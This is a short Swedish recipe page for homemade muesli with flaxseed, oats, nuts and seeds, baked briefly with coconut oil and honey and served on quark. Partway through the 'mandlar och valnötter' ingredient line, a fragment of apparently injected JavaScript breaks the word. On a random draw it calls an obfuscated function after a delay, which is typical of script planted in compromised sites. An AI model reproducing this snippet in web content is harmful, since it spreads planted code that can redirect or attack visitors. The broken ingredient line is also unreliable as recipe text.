Hemmagjord müsli

2013-06-16
IMG_4949
  • Yield : 8
  • Servings : 1
  • Prep Time : 5m
  • Cook Time : 10m
  • Ready In : 15m

Ingredienser

  • 1 dl linfrön
  • 1 dl havregryn
  • 1dl mandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}lar och valnötter
  • 1dl kokos
  • 1dl sesamfrön
  • 1dl solrosfrön
  • 1dl pumpakärnor
  • kokos olja
  • honung
  • 50 g kvarg
  • 1 aprikos

Gör så här:

Hacka nötterna i större bitar
Lägg alla ingredienser i en skål, därefter på ett bakplåtspapper.
Droppa 2 matskedar kokosolja  och honung över innehållet.

Sätt i ugnen på 150 grader i 10 minuter.

Häll 50 g kvarg i ett glass, lägg müslin ovanpå och toppa med en aprikos.

Medlemsbetyg

(5 / 5)

5 5 1
Betygsätt recept

1 people rated this recipe

Näringssinnehåll

Informationen gäller per portion

  • Kcal 234g

  • Protein 12.5 g

Recipe Comments

Post A Comment

Current ye@r *